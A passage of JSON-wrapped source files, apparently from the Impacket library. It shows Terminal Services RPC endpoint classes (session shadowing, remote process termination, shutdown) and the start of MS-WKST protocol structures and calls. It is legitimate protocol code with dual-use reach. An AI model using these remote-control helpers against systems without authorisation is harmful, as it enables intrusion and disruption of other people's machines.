eRequestControl, eRequestPermission, cchInvitation = 8192):\n        request = RpcShadow2()\n        request['TargetSessionId'] = TargetSessionId\n        request['eRequestControl'] = eRequestControl\n        request['eRequestPermission'] = eRequestPermission\n        request['cchInvitation'] = cchInvitation\n        return dce.request(request, checkError=False)\n\n################################################################################\n# Initialization Classes and Helper classes\n################################################################################\n\nclass TSTSEndpoint:\n    def __init__(self, smb, target_ip, stringbinding, endpoint, kerberos):\n        self.__doKerberos = kerberos\n        self._target_ip = target_ip\n        self._stringbinding = stringbinding.format(target_ip)\n        self._endpoint = endpoint\n        self._smbconnection = smb\n        self._bind()\n\n        # Little hack to pass 'this' as 'dce' variable to a helper function\n        self.request = self._dce.request\n    def _bind(self):\n        self._rpctransport = transport.DCERPCTransportFactory(self._stringbinding)\n        self._rpctransport.set_smb_connection(self._smbconnection)\n        self._dce = self._rpctransport.get_dce_rpc()\n        if self.__doKerberos:\n            self._dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n        self._dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n\n        self._dce.connect()\n        self._dce.bind(self._endpoint)\n        return self._dce\n    def _disconnect(self):\n        self._dce.disconnect()\n    def __enter__(self):\n        return self\n    def __exit__(self, type, value, traceback):\n        self._disconnect()\n\nclass TermSrvSession(TSTSEndpoint):\n    def __init__(self, smb, target_ip, kerberos):\n        super().__init__(smb, target_ip,\n                            stringbinding = r'ncacn_np:{}[\\pipe\\LSM_API_service]',\n                            endpoint = TermSrvSession_UUID,\n                            kerberos = kerberos\n        )\n    hRpcOpenSession             = hRpcOpenSession\n    hRpcCloseSession            = hRpcCloseSession\n    hRpcConnect                 = hRpcConnect\n    hRpcDisconnect              = hRpcDisconnect\n    hRpcLogoff                  = hRpcLogoff\n    hRpcGetUserName             = hRpcGetUserName\n    hRpcGetTerminalName         = hRpcGetTerminalName\n    hRpcGetState                = hRpcGetState\n    hRpcIsSessionDesktopLocked  = hRpcIsSessionDesktopLocked\n    hRpcShowMessageBox          = hRpcShowMessageBox\n    hRpcGetTimes                = hRpcGetTimes\n    hRpcGetSessionCounters      = hRpcGetSessionCounters\n    hRpcGetSessionInformation   = hRpcGetSessionInformation\n    hRpcGetLoggedOnCount        = hRpcGetLoggedOnCount\n    hRpcGetSessionType          = hRpcGetSessionType\n    hRpcGetSessionInformationEx = hRpcGetSessionInformationEx\n\nclass TermSrvNotification(TSTSEndpoint):\n    def __init__(self, smb, target_ip, kerberos):\n        super().__init__(smb, target_ip,\n                            stringbinding = r'ncacn_np:{}[\\pipe\\LSM_API_service]',\n                            endpoint = TermSrvNotification_UUID,\n                            kerberos = kerberos\n        )\n    hRpcWaitForSessionState         = hRpcWaitForSessionState\n    hRpcRegisterAsyncNotification   = hRpcRegisterAsyncNotification\n    hRpcWaitAsyncNotification       = hRpcWaitAsyncNotification\n    hRpcUnRegisterAsyncNotification = hRpcUnRegisterAsyncNotification\n\nclass TermSrvEnumeration(TSTSEndpoint):\n    def __init__(self, smb, target_ip, kerberos):\n        super().__init__(smb, target_ip,\n                            stringbinding = r'ncacn_np:{}[\\pipe\\LSM_API_service]',\n                            endpoint      = TermSrvEnumeration_UUID,\n                            kerberos = kerberos\n        )\n    hRpcOpenEnum        = hRpcOpenEnum\n    hRpcCloseEnum       = hRpcCloseEnum\n    hRpcGetEnumResult   = hRpcGetEnumResult\n    hRpcGetEnumResultEx = hRpcGetEnumResultEx\n    hRpcGetAllSessions  = hRpcGetAllSessions\n\nclass RCMPublic(TSTSEndpoint):\n    def __init__(self, smb, target_ip, kerberos):\n        super().__init__(smb, target_ip,\n                            stringbinding = r'ncacn_np:{}[\\pipe\\TermSrv_API_service]',\n                            endpoint = RCMPublic_UUID,\n                            kerberos = kerberos\n        )\n    hRpcGetClientData    = hRpcGetClientData\n    hRpcGetConfigData    = hRpcGetConfigData\n    hRpcGetLastInputTime = hRpcGetLastInputTime\n    hRpcGetRemoteAddress = hRpcGetRemoteAddress\n    hRpcGetAllListeners  = hRpcGetAllListeners\n\n\nclass RcmListener(TSTSEndpoint):\n    def __init__(self, smb, target_ip, kerberos):\n        super().__init__(smb, target_ip,\n                            stringbinding = r'ncacn_np:{}[\\pipe\\TermSrv_API_service]',\n                            endpoint = RcmListener_UUID,\n                            kerberos = kerberos\n        )\n    hRpcOpenListener  = hRpcOpenListener\n    hRpcCloseListener = hRpcCloseListener\n    hRpcStopListener  = hRpcStopListener\n    hRpcStartListener = hRpcStartListener\n    hRpcIsListening   = hRpcIsListening\n\nclass SessEnvPublicRpc(TSTSEndpoint):\n    def __init__(self, smb, target_ip, kerberos):\n        super().__init__(smb, target_ip,\n                            stringbinding = r'ncacn_np:{}[\\pipe\\SessEnvPublicRpc]',\n                            endpoint = SessEnvPublicRpc_UUID,\n                            kerberos = kerberos\n        )\n\n    hRpcShadow2       = hRpcShadow2\n\n\nclass LegacyAPI(TSTSEndpoint):\n    def __init__(self, smb, target_ip, kerberos):\n        super().__init__(smb, target_ip,\n                            stringbinding = r'ncacn_np:{}[\\pipe\\Ctx_WinStation_API_service]',\n                            endpoint = LegacyAPI_UUID,\n                            kerberos = kerberos\n        )\n    hRpcWinStationOpenServer             = hRpcWinStationOpenServer\n    hRpcWinStationCloseServer            = hRpcWinStationCloseServer\n    hRpcIcaServerPing                    = hRpcIcaServerPing\n    hRpcWinStationSendMessage            = hRpcWinStationSendMessage\n    hRpcLogonIdFromWinStationName        = hRpcLogonIdFromWinStationName\n    hRpcWinStationNameFromLogonId        = hRpcWinStationNameFromLogonId\n    hRpcWinStationConnect                = hRpcWinStationConnect\n    hRpcWinStationDisconnect             = hRpcWinStationDisconnect\n    hRpcWinStationReset                  = hRpcWinStationReset\n    hRpcWinStationShutdownSystem         = hRpcWinStationShutdownSystem\n    hRpcWinStationWaitSystemEvent        = hRpcWinStationWaitSystemEvent\n    hRpcWinStationShadow                 = hRpcWinStationShadow\n    hRpcWinStationShadowTargetSetup      = hRpcWinStationShadowTargetSetup\n    hRpcWinStationBreakPoint             = hRpcWinStationBreakPoint\n    hRpcWinStationReadRegistry           = hRpcWinStationReadRegistry\n    hOldRpcWinStationEnumerateProcesses  = hOldRpcWinStationEnumerateProcesses\n    hRpcWinStationEnumerateProcesses     = hRpcWinStationEnumerateProcesses\n    hRpcWinStationTerminateProcess       = hRpcWinStationTerminateProcess\n    hRpcWinStationGetAllProcesses        = hRpcWinStationGetAllProcesses\n    hRpcWinStationGetProcessSid          = hRpcWinStationGetProcessSid\n    hRpcWinStationReInitializeSecurity   = hRpcWinStationReInitializeSecurity\n    hRpcWinStationGetLanAdapterName      = hRpcWinStationGetLanAdapterName\n    hRpcWinStationUpdateSettings         = hRpcWinStationUpdateSettings\n    hRpcWinStationShadowStop             = hRpcWinStationShadowStop\n    hRpcWinStationCloseServerEx          = hRpcWinStationCloseServerEx\n    hRpcWinStationIsHelpAssistantSession = hRpcWinStationIsHelpAssistantSession\n"
  },
  {
    "path": "impacket/dcerpc/v5/wkst.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-WKST] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRUniConformantArray, NDRUniFixedArray, \\\n    NDRPOINTER\nfrom impacket.dcerpc.v5.dtypes import NULL, WSTR, ULONG, LPWSTR, LONG, LARGE_INTEGER, WIDESTR, RPC_UNICODE_STRING, \\\n    LPULONG, LPLONG\nfrom impacket import system_errors\nfrom impacket.uuid import uuidtup_to_bin\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\n\nMSRPC_UUID_WKST   = uuidtup_to_bin(('6BFFD098-A112-3610-9833-46C3F87E345A', '1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] \n            return 'WKST SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'WKST SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n\n# 2.2.1.1 JOIN_MAX_PASSWORD_LENGTH\nJOIN_MAX_PASSWORD_LENGTH = 256\n\n# 2.2.1.2 JOIN_OBFUSCATOR_LENGTH\nJOIN_OBFUSCATOR_LENGTH = 8\n\n# 2.2.1.3 MAX_PREFERRED_LENGTH\nMAX_PREFERRED_LENGTH = 0xffffffff\n\n# 2.2.5.22 USE_INFO_1\nUSE_OK       = 0x00000000\nUSE_PAUSED   = 0x00000001\nUSE_SESSLOST = 0x00000002\nUSE_NETERR   = 0x00000003\nUSE_CONN     = 0x00000004\nUSE_RECONN   = 0x00000005\n\nUSE_WILDCARD = 0xFFFFFFFF\nUSE_DISKDEV  = 0x00000000\nUSE_SPOOLDEV = 0x00000001\nUSE_CHARDEV  = 0x00000002\nUSE_IPC      = 0x00000003\n\n# 3.2.4.9 NetrUseDel (Opnum 10)\n# Force Level\nUSE_NOFORCE       = 0x00000000\nUSE_FORCE         = 0x00000001\nUSE_LOTS_OF_FORCE = 0x00000002\n\n# 3.2.4.13 NetrJoinDomain2 (Opnum 22)\n# Options\nNETSETUP_JOIN_DOMAIN           = 0x00000001\nNETSETUP_ACCT_CREATE           = 0x00000002\nNETSETUP_ACCT_DELETE           = 0x00000004\nNETSETUP_DOMAIN_JOIN_IF_JOINED = 0x00000020\nNETSETUP_JOIN_UNSECURE         = 0x00000040\nNETSETUP_MACHINE_PWD_PASSED    = 0x00000080\nNETSETUP_DEFER_SPN_SET         = 0x00000100\nNETSETUP_JOIN_DC_ACCOUNT       = 0x00000200\nNETSETUP_JOIN_WITH_NEW_NAME    = 0x00000400\nNETSETUP_INSTALL_INVOCATION    = 0x00040000\n\n# 3.2.4.14 NetrUnjoinDomain2 (Opnum 23)\n# Options\nNETSETUP_ACCT_DELETE              = 0x00000004\nNETSETUP_IGNORE_UNSUPPORTED_FLAGS = 0x10000000\n\n# 3.2.4.15 NetrRenameMachineInDomain2 (Opnum 24)\n# Options\nNETSETUP_ACCT_CREATE           = 0x00000002\nNETSETUP_DNS_NAME_CHANGES_ONLY = 0x00001000\n\n################################################################################\n# STRUCTURES\n################################################################################\n\n# 2.2.2.1 WKSSVC_IDENTIFY_HANDLE\nclass WKSSVC_IDENTIFY_HANDLE(NDRSTRUCT):\n    structure =  (\n        ('Data', WSTR),\n    )\n\nclass LPWKSSVC_IDENTIFY_HANDLE(NDRPOINTER):\n    referent = (\n        ('Data', WKSSVC_IDENTIFY_HANDLE),\n    )\n\n# 2.2.2.2 WKSSVC_IMPERSONATE_HANDLE\nclass WKSSVC_IMPERSONATE_HANDLE(NDRSTRUCT):\n    structure =  (\n        ('Data',WSTR),\n    )\n\nclass LPWKSSVC_IMPERSONATE_HANDLE(NDRPOINTER):\n    referent = (\n        ('Data', WKSSVC_IMPERSONATE_HANDLE),\n    )\n\n# 2.2.3.1 NETSETUP_JOIN_STATUS\nclass NETSETUP_JOIN_STATUS(NDRENUM):\n    class enumItems(Enum):\n        NetSetupUnknownStatus = 0\n        NetSetupUnjoined      = 1\n        NetSetupWorkgroupName = 2\n        NetSetupDomainName    = 3\n\n# 2.2.3.2 NETSETUP_NAME_TYPE\nclass NETSETUP_NAME_TYPE(NDRENUM):\n    class enumItems(Enum):\n        NetSetupUnknown           = 0\n        NetSetupMachine           = 1\n        NetSetupWorkgroup         = 2\n        NetSetupDomain            = 3\n        NetSetupNonExistentDomain = 4\n        NetSetupDnsMachine        = 5\n\n# 2.2.3.3 NET_COMPUTER_NAME_TYPE\nclass NET_COMPUTER_NAME_TYPE(NDRENUM):\n    class enumItems(Enum):\n        NetPrimaryComputerName    = 0\n        NetAlternateComputerNames = 1\n        NetAllComputerNames       = 2\n        NetComputerNameTypeMax    = 3\n\n# 2.2.5.1 WKSTA_INFO_100\nclass WKSTA_INFO_100(NDRSTRUCT):\n    structure = (\n        ('wki100_platform_id', ULONG),\n        ('wki100_computername', LPWSTR),\n        ('wki100_langroup', LPWSTR),\n        ('wki100_ver_major', ULONG),\n        ('wki100_ver_minor', ULONG),\n    )\n\nclass LPWKSTA_INFO_100(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_INFO_100),\n    )\n\n# 2.2.5.2 WKSTA_INFO_101\nclass WKSTA_INFO_101(NDRSTRUCT):\n    structure = (\n        ('wki101_platform_id', ULONG),\n        ('wki101_computername', LPWSTR),\n        ('wki101_langroup', LPWSTR),\n        ('wki101_ver_major', ULONG),\n        ('wki101_ver_minor', ULONG),\n        ('wki101_lanroot', LPWSTR),\n    )\n\nclass LPWKSTA_INFO_101(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_INFO_101),\n    )\n\n# 2.2.5.3 WKSTA_INFO_102\nclass WKSTA_INFO_102(NDRSTRUCT):\n    structure = (\n        ('wki102_platform_id', ULONG),\n        ('wki102_computername', LPWSTR),\n        ('wki102_langroup', LPWSTR),\n        ('wki102_ver_major', ULONG),\n        ('wki102_ver_minor', ULONG),\n        ('wki102_lanroot', LPWSTR),\n        ('wki102_logged_on_users', ULONG),\n    )\n\nclass LPWKSTA_INFO_102(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_INFO_102),\n    )\n\n# 2.2.5.4 WKSTA_INFO_502\nclass WKSTA_INFO_502(NDRSTRUCT):\n    structure = (\n        ('wki502_char_wait', ULONG),\n        ('wki502_collection_time', ULONG),\n        ('wki502_maximum_collection_count', ULONG),\n        ('wki502_keep_conn', ULONG),\n        ('wki502_max_cmds', ULONG),\n        ('wki502_sess_timeout', ULONG),\n        ('wki502_siz_char_buf', ULONG),\n        ('wki502_max_threads', ULONG),\n        ('wki502_lock_quota', ULONG),\n        ('wki502_lock_increment', ULONG),\n        ('wki502_lock_maximum', ULONG),\n        ('wki502_pipe_increment', ULONG),\n        ('wki502_pipe_maximum', ULONG),\n        ('wki502_cache_file_timeout', ULONG),\n        ('wki502_dormant_file_limit', ULONG),\n        ('wki502_read_ahead_throughput', ULONG),\n        ('wki502_num_mailslot_buffers', ULONG),\n        ('wki502_num_srv_announce_buffers', ULONG),\n        ('wki502_max_illegal_datagram_events', ULONG),\n        ('wki502_illegal_datagram_event_reset_frequency', ULONG),\n        ('wki502_log_election_packets', LONG),\n        ('wki502_use_opportunistic_locking', LONG),\n        ('wki502_use_unlock_behind', LONG),\n        ('wki502_use_close_behind', LONG),\n        ('wki502_buf_named_pipes', LONG),\n        ('wki502_use_lock_read_unlock', LONG),\n        ('wki502_utilize_nt_caching', LONG),\n        ('wki502_use_raw_read', LONG),\n        ('wki502_use_raw_write', LONG),\n        ('wki502_use_write_raw_data', LONG),\n        ('wki502_use_encryption', LONG),\n        ('wki502_buf_files_deny_write', LONG),\n        ('wki502_buf_read_only_files', LONG),\n        ('wki502_force_core_create_mode', LONG),\n        ('wki502_use_512_byte_max_transfer', LONG),\n    )\n\nclass LPWKSTA_INFO_502(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_INFO_502),\n    )\n\n# 2.2.5.5 WKSTA_INFO_1013\nclass WKSTA_INFO_1013(NDRSTRUCT):\n    structure = (\n        ('wki1013_keep_conn', ULONG),\n    )\n\nclass LPWKSTA_INFO_1013(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_INFO_1013),\n    )\n\n# 2.2.5.6 WKSTA_INFO_1018\nclass WKSTA_INFO_1018(NDRSTRUCT):\n    structure = (\n        ('wki1018_sess_timeout', ULONG),\n    )\n\nclass LPWKSTA_INFO_1018(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_INFO_1018),\n    )\n\n# 2.2.5.7 WKSTA_INFO_1046\nclass WKSTA_INFO_1046(NDRSTRUCT):\n    structure = (\n        ('wki1046_dormant_file_limit', ULONG),\n    )\n\nclass LPWKSTA_INFO_1046(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_INFO_1046),\n    )\n\n# 2.2.4.1 WKSTA_INFO\nclass WKSTA_INFO(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n    union = {\n        100: ('WkstaInfo100', LPWKSTA_INFO_100),\n        101: ('WkstaInfo101', LPWKSTA_INFO_101),\n        102: ('WkstaInfo102', LPWKSTA_INFO_102),\n        502: ('WkstaInfo502', LPWKSTA_INFO_502),\n        1013: ('WkstaInfo1013', LPWKSTA_INFO_1013),\n        1018: ('WkstaInfo1018', LPWKSTA_INFO_1018),\n        1046: ('WkstaInfo1046', LPWKSTA_INFO_1046),\n    }\n\nclass LPWKSTA_INFO(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_INFO),\n    )\n\n# 2.2.5.8 WKSTA_TRANSPORT_INFO_0\nclass WKSTA_TRANSPORT_INFO_0(NDRSTRUCT):\n    structure = (\n        ('wkti0_quality_of_service', ULONG),\n        ('wkti0_number_of_vcs', ULONG),\n        ('wkti0_transport_name', LPWSTR),\n        ('wkti0_transport_address', LPWSTR),\n        ('wkti0_wan_ish', ULONG),\n    )\n\n# 2.2.5.9 WKSTA_USER_INFO_0\nclass WKSTA_USER_INFO_0(NDRSTRUCT):\n    structure = (\n        ('wkui0_username', LPWSTR),\n    )\n\n# 2.2.5.10 WKSTA_USER_INFO_1\nclass WKSTA_USER_INFO_1(NDRSTRUCT):\n    structure = (\n        ('wkui1_username', LPWSTR),\n        ('wkui1_logon_domain', LPWSTR),\n        ('wkui1_oth_domains', LPWSTR),\n        ('wkui1_logon_server', LPWSTR),\n    )\n\n# 2.2.5.11 STAT_WORKSTATION_0\nclass STAT_WORKSTATION_0(NDRSTRUCT):\n    structure = (\n        ('StatisticsStartTime', LARGE_INTEGER),\n        ('BytesReceived', LARGE_INTEGER),\n        ('SmbsReceived', LARGE_INTEGER),\n        ('PagingReadBytesRequested', LARGE_INTEGER),\n        ('NonPagingReadBytesRequested', LARGE_INTEGER),\n        ('CacheReadBytesRequested', LARGE_INTEGER),\n        ('NetworkReadBytesRequested', LARGE_INTEGER),\n        ('BytesTransmitted', LARGE_INTEGER),\n        ('SmbsTransmitted', LARGE_INTEGER),\n        ('PagingWriteBytesRequested', LARGE_INTEGER),\n        ('NonPagingWriteBytesRequested', LARGE_INTEGER),\n        ('CacheWriteBytesRequested', LARGE_INTEGER),\n        ('NetworkWriteBytesRequested', LARGE_INTEGER),\n        ('InitiallyFailedOperations', ULONG),\n        ('FailedCompletionOperations', ULONG),\n        ('ReadOperations', ULONG),\n        ('RandomReadOperations', ULONG),\n        ('ReadSmbs', ULONG),\n        ('LargeReadSmbs', ULONG),\n        ('SmallReadSmbs', ULONG),\n        ('WriteOperations', ULONG),\n        ('RandomWriteOperations', ULONG),\n        ('WriteSmbs', ULONG),\n        ('LargeWriteSmbs', ULONG),\n        ('SmallWriteSmbs', ULONG),\n        ('RawReadsDenied', ULONG),\n        ('RawWritesDenied', ULONG),\n        ('NetworkErrors', ULONG),\n        ('Sessions', ULONG),\n        ('FailedSessions', ULONG),\n        ('Reconnects', ULONG),\n        ('CoreConnects', ULONG),\n        ('Lanman20Connects', ULONG),\n        ('Lanman21Connects', ULONG),\n        ('LanmanNtConnects', ULONG),\n        ('ServerDisconnects', ULONG),\n        ('HungSessions', ULONG),\n        ('UseCount', ULONG),\n        ('FailedUseCount', ULONG),\n        ('CurrentCommands', ULONG),\n    )\n\nclass LPSTAT_WORKSTATION_0(NDRPOINTER):\n    referent = (\n        ('Data', STAT_WORKSTATION_0),\n    )\n\n# 2.2.5.12 WKSTA_USER_INFO_0_CONTAINER\nclass WKSTA_USER_INFO_0_ARRAY(NDRUniConformantArray):\n    item = WKSTA_USER_INFO_0\n\nclass LPWKSTA_USER_INFO_0_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_USER_INFO_0_ARRAY),\n    )\n\nclass WKSTA_USER_INFO_0_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', LPWKSTA_USER_INFO_0_ARRAY),\n    )\n\nclass LPWKSTA_USER_INFO_0_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_USER_INFO_0_CONTAINER),\n    )\n\n# 2.2.5.13 WKSTA_USER_INFO_1_CONTAINER\nclass WKSTA_USER_INFO_1_ARRAY(NDRUniConformantArray):\n    item = WKSTA_USER_INFO_1\n\nclass LPWKSTA_USER_INFO_1_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_USER_INFO_1_ARRAY),\n    )\n\nclass WKSTA_USER_INFO_1_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', LPWKSTA_USER_INFO_1_ARRAY),\n    )\n\nclass LPWKSTA_USER_INFO_1_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_USER_INFO_1_CONTAINER),\n    )\n\n# 2.2.5.14 WKSTA_USER_ENUM_STRUCT\nclass WKSTA_USER_ENUM_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n\n    union = {\n        0: ('Level0', LPWKSTA_USER_INFO_0_CONTAINER),\n        1: ('Level1', LPWKSTA_USER_INFO_1_CONTAINER),\n    }\n\nclass WKSTA_USER_ENUM_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', ULONG),\n        ('WkstaUserInfo', WKSTA_USER_ENUM_UNION),\n    )\n\n\n# 2.2.5.15 WKSTA_TRANSPORT_INFO_0_CONTAINER\nclass WKSTA_TRANSPORT_INFO_0_ARRAY(NDRUniConformantArray):\n    item = WKSTA_TRANSPORT_INFO_0\n\nclass LPWKSTA_TRANSPORT_INFO_0_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_TRANSPORT_INFO_0_ARRAY),\n    )\n\nclass WKSTA_TRANSPORT_INFO_0_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', LPWKSTA_TRANSPORT_INFO_0_ARRAY),\n    )\n\nclass LPWKSTA_TRANSPORT_INFO_0_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', WKSTA_TRANSPORT_INFO_0_CONTAINER),\n    )\n\n# 2.2.5.16 WKSTA_TRANSPORT_ENUM_STRUCT\nclass WKSTA_TRANSPORT_ENUM_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n\n    union = {\n        0: ('Level0', LPWKSTA_TRANSPORT_INFO_0_CONTAINER),\n    }\n\nclass WKSTA_TRANSPORT_ENUM_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', ULONG),\n        ('WkstaTransportInfo', WKSTA_TRANSPORT_ENUM_UNION),\n    )\n\n# 2.2.5.17 JOINPR_USER_PASSWORD\nclass WCHAR_ARRAY(WIDESTR):\n    def getDataLen(self, data, offset=0):\n        return JOIN_MAX_PASSWORD_LENGTH\n\nclass CHAR_ARRAY(NDRUniFixedArray):\n    def getDataLen(self, data, offset=0):\n        return JOIN_OBFUSCATOR_LENGTH\n\nclass JOINPR_USER_PASSWORD(NDRSTRUCT):\n    structure = (\n        ('Obfuscator', CHAR_ARRAY),\n        ('Buffer', WCHAR_ARRAY),\n    )\n\n# 2.2.5.18 JOINPR_ENCRYPTED_USER_PASSWORD\nclass JOINPR_ENCRYPTED_USER_PASSWORD(NDRSTRUCT):\n    structure = (\n        ('Buffer', '524s=b\"\"'),\n    )\n    def getAlignment(self):\n        return 1\n\nclass PJOINPR_ENCRYPTED_USER_PASSWORD(NDRPOINTER):\n    referent = (\n        ('Data', JOINPR_ENCRYPTED_USER_PASSWORD),\n    )\n\n# 2.2.5.19 UNICODE_STRING\nUNICODE_STRING = WSTR\nclass PUNICODE_STRING(NDRPOINTER):\n    referent = (\n        ('Data', UNICODE_STRING),\n    )\n\n# 2.2.5.20 NET_COMPUTER_NAME_ARRAY\nclass UNICODE_STRING_ARRAY(NDRUniConformantArray):\n    item = RPC_UNICODE_STRING\n\nclass PUNICODE_STRING_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', UNICODE_STRING_ARRAY),\n    )\n\nclass NET_COMPUTER_NAME_ARRAY(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('ComputerNames', PUNICODE_STRING_ARRAY),\n    )\n\nclass PNET_COMPUTER_NAME_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', NET_COMPUTER_NAME_ARRAY), \n    )\n\n# 2.2.5.21 USE_INFO_0\nclass USE_INFO_0(NDRSTRUCT):\n    structure = (\n        ('ui0_local', LPWSTR),\n        ('ui0_remote', LPWSTR),\n    )\n\nclass LPUSE_INFO_0(NDRPOINTER):\n    referent = (\n        ('Data', USE_INFO_0),\n    )\n\n# 2.2.5.22 USE_INFO_1\nclass USE_INFO_1(NDRSTRUCT):\n    structure = (\n        ('ui1_local', LPWSTR),\n        ('ui1_remote', LPWSTR),\n        ('ui1_password', LPWSTR),\n        ('ui1_status', ULONG),\n        ('ui1_asg_type', ULONG),\n        ('ui1_refcount', ULONG),\n        ('ui1_usecount', ULONG),\n    )\n\nclass LPUSE_INFO_1(NDRPOINTER):\n    referent = (\n        ('Data', USE_INFO_1),\n    )\n\n# 2.2.5.23 USE_INFO_2\nclass USE_INFO_2(NDRSTRUCT):\n    structure = (\n        ('ui2_useinfo', USE_INFO_1),\n        ('ui2_username', LPWSTR),\n        ('ui2_domainname', LPWSTR),\n    )\n\nclass LPUSE_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', USE_INFO_2),\n    )\n\n# 2.2.5.24 USE_INFO_3\nclass USE_INFO_3(NDRSTRUCT):\n    structure = (\n        ('ui3_ui2', USE_INFO_2),\n        ('ui3_flags', ULONG),\n    )\n\nclass LPUSE_INFO_3(NDRPOINTER):\n    referent = (\n        ('Data', USE_INFO_3),\n    )\n\n# 2.2.4.2 USE_INFO\nclass USE_INFO(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n\n    union = {\n        0: ('UseInfo0', LPUSE_INFO_0),\n        1: ('UseInfo1', LPUSE_INFO_1),\n        2: ('UseInfo2', LPUSE_INFO_2),\n        3: ('UseInfo3', LPUSE_INFO_3),\n    }\n\n# 2.2.5.25 USE_INFO_0_CONTAINER\nclass USE_INFO_0_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', LPUSE_INFO_0),\n    )\n\nclass LPUSE_INFO_0_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', USE_INFO_0_CONTAINER),\n    )\n\n# 2.2.5.26 USE_INFO_1_CONTAINER\nclass USE_INFO_1_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', LPUSE_INFO_1),\n    )\n\nclass LPUSE_INFO_1_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', USE_INFO_1_CONTAINER),\n    )\n\n# 2.2.5.27 USE_INFO_2_CONTAINER\nclass USE_INFO_2_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('EntriesRead', ULONG),\n        ('Buffer', LPUSE_INFO_2),\n    )\n\nclass LPUSE_INFO_2_CONTAINER(NDRPOINTER):\n    referent = (\n        ('Data', USE_INFO_2_CONTAINER),\n    )\n\n# 2.2.5.28 USE_ENUM_STRUCT\nclass USE_ENUM_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n\n    union = {\n        0: ('Level0', LPUSE_INFO_0_CONTAINER),\n        1: ('Level1', LPUSE_INFO_1_CONTAINER),\n        2: ('Level2', LPUSE_INFO_2_CONTAINER),\n    }\n\nclass USE_ENUM_STRUCT(NDRSTRUCT):\n    structure = (\n        ('Level', ULONG),\n        ('UseInfo', USE_ENUM_UNION),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n\n# 3.2.4.1 NetrWkstaGetInfo (Opnum 0)\nclass NetrWkstaGetInfo(NDRCALL):\n    opnum = 0\n    structure = (\n       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),\n       ('Level', ULONG),\n    )\n\nclass NetrWkstaGetInfoResponse(NDRCALL):\n    structure = (\n       ('WkstaInfo',WKSTA_INFO),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.2 NetrWkstaSetInfo (Opnum 1)\nclass NetrWkstaSetInfo(NDRCALL):\n    opnum = 1\n    structure = (\n       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),\n       ('Level', ULONG),\n       ('WkstaInfo',WKSTA_INFO),\n       ('ErrorParameter',LPULONG),\n    )\n\nclass NetrWkstaSetInfoResponse(NDRCALL):\n    structure = (\n       ('ErrorParameter',LPULONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.2.4.3 NetrWkstaUserEnum (Opnum 2)\nclass NetrWkstaUserEnum(NDRCALL):\n    opnum = 2\n    structure = (\n       ('ServerName', LPWKSSVC_IDENTIFY_HANDLE),\n       ('UserInfo', WKSTA_USER_ENUM_STRUCT),\n       